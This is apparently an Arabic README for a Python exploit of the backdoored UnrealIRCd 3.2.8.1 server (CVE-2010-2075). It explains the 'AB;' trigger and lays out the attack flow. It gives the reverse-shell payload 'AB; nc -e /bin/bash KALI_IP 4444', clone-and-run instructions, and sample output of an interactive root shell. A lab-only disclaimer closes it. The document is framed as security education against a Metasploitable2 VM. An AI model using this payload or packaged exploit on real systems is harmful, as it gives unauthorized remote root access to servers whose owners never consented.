استغلال الباب الخلفي في UnrealIRCd 3.2.8.1 — صدفة عكسية عبر AB؛ مُشغِّل، مبني من الصفر بلغة Python باستخدام raw sockets. بدون Metasploit.
UnrealIRCd هو خادم IRC (Internet Relay Chat) مفتوح المصدر — وهو بروتوكول يسمح للمستخدمين بالتواصل في الوقت الفعلي عبر الشبكة، على غرار منصات الدردشة المبكرة.
في الفترة 2009–2010، تم اكتشاف أن UnrealIRCd 3.2.8.1 الموزَّع عبر مرايا التنزيل الرسمية قد تم اختراقه. حيث استبدل المهاجم الشيفرة المصدرية الشرعية بنسخة مزودة بباب خلفي تحتوي على مُشغِّل مخفي لتنفيذ الأوامر.
كان هذا هجوم سلسلة التوريد — مماثل في طبيعته لـ CVE-2011-2523 (vsftpd 2.3.4). تم استبدال البرنامج الشرعي بنسخة معدَّلة بشكل خبيث قبل أن يقوم المستخدمون بتنزيله.
يراقب الباب الخلفي جميع البيانات الواردة على المنفذ 6667. إذا بدأ أي إدخال
بالسلسلة AB;، يتم تمرير كل ما يليها مباشرةً إلى —
متجاوزًا بذلك كل منطق IRC والمصادقة وفحوصات التسجيل بالكامل.
system()يُفعَّل المُشغِّل خلال مرحلة تهيئة الاتصال، قبل أن يسجّل خادم IRC العميل حتى. لا حاجة إلى NICK، ولا USER، ولا مصادقة.
مسار الهجوم:
Attacker (Kali) Target (Metasploitable2)
1. s1 connects to port 6667
NICK + USER handshake → Server sends full banner
Read banner, check version
Confirm Unreal3.2.8.1
2. Open listener on port 4444
(waiting for incoming shell)
3. s2 connects to port 6667 → AB; nc -e /bin/bash KALI_IP 4444
→ system() executes immediately
→ netcat spawns bash, connects back
4. listener.accept() ← Incoming root shell connection
Interactive root shell
يستخدم هذا الاستغلال صدفة عكسية — حيث يتصل الهدف مرة أخرى بالمهاجم، بدلاً من أن يتصل المهاجم بمنفذ على الهدف.
| النوع | الاتجاه | يُستخدم في |
|---|---|---|
| صدفة الربط | المهاجم → الهدف | CVE-2011-2523 (vsftpd) |
| الصدفة العكسية | الهدف → المهاجم | CVE-2010-2075 (UnrealIRCd) |
تتجاوز الصدفات العكسية قواعد جدار الحماية الواردة — فنادرًا ما يتم حظر الاتصالات الصادرة من الهدف.
netcat مثبَّت على الهدف (موجود افتراضيًا على Metasploitable2)git clone https://github.com/rushikesh-a-bhujbal/CVE-2010-2075.git
cd exploit-dev/CVE-2010-2075
حرِّر main.py واضبط:
kali_ip = "YOUR_KALI_IP"
target_ip = "TARGET_IP"
شغِّل:
python3 main.py
مثال على المخرجات:
[+] Vulnerable version confirmed. Proceeding...
[*] Listening on port 4444...
[+] Shell received from ('192.168.15.132', 58280)
> whoami
root
> uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008
> pwd
/etc/unreal
> exit
| السيناريو | السلوك |
|---|---|
| المنفذ 6667 مغلق | يطبع "Port Closed"، ويخرج بشكل نظيف |
| إصدار خاطئ | يطبع "Not vulnerable"، ويخرج بشكل نظيف |
| الهدف لا يتصل مرة أخرى | ينتظر listener.accept() (أضف مهلة زمنية إذا لزم الأمر) |
| الأمر لا ينتج مخرجات | تنتهي مهلة recv() بصمت، ويعود إلى الموجِّه |
| CVE-2011-2523 (vsftpd) | CVE-2010-2075 (UnrealIRCd) | |
|---|---|---|
| البروتوكول | FTP (المنفذ 21) | IRC (المنفذ 6667) |
| المُشغِّل | :) في اسم المستخدم | بادئة AB; على أي إدخال |
| نوع الصدفة | صدفة الربط (المنفذ 6200) | صدفة عكسية (منفذ المهاجم) |
| الاتصالات | 2 صادرة | 1 صادرة + 1 واردة |
تم تطوير هذا الاستغلال بغرض تعليمي بحت ولأغراض البحث الأمني المصرَّح به فقط.
تم بناؤه واختباره حصريًا ضد جهاز افتراضي Metasploitable2 محلي في بيئة مختبرية معزولة تمامًا.
لا تستخدم هذا ضد أي نظام لا تملكه أو لا تملك إذنًا كتابيًا صريحًا باختباره. الاستخدام غير المصرَّح به غير قانوني بموجب قانون الغش وإساءة استخدام الحاسوب (CFAA) والقوانين المكافئة في جميع أنحاء العالم.
لا يتحمل المؤلف أي مسؤولية عن إساءة استخدام هذه الشيفرة.
Rushikesh Bhujbal
البحث الأمني وتطوير الاستغلالات
GitHub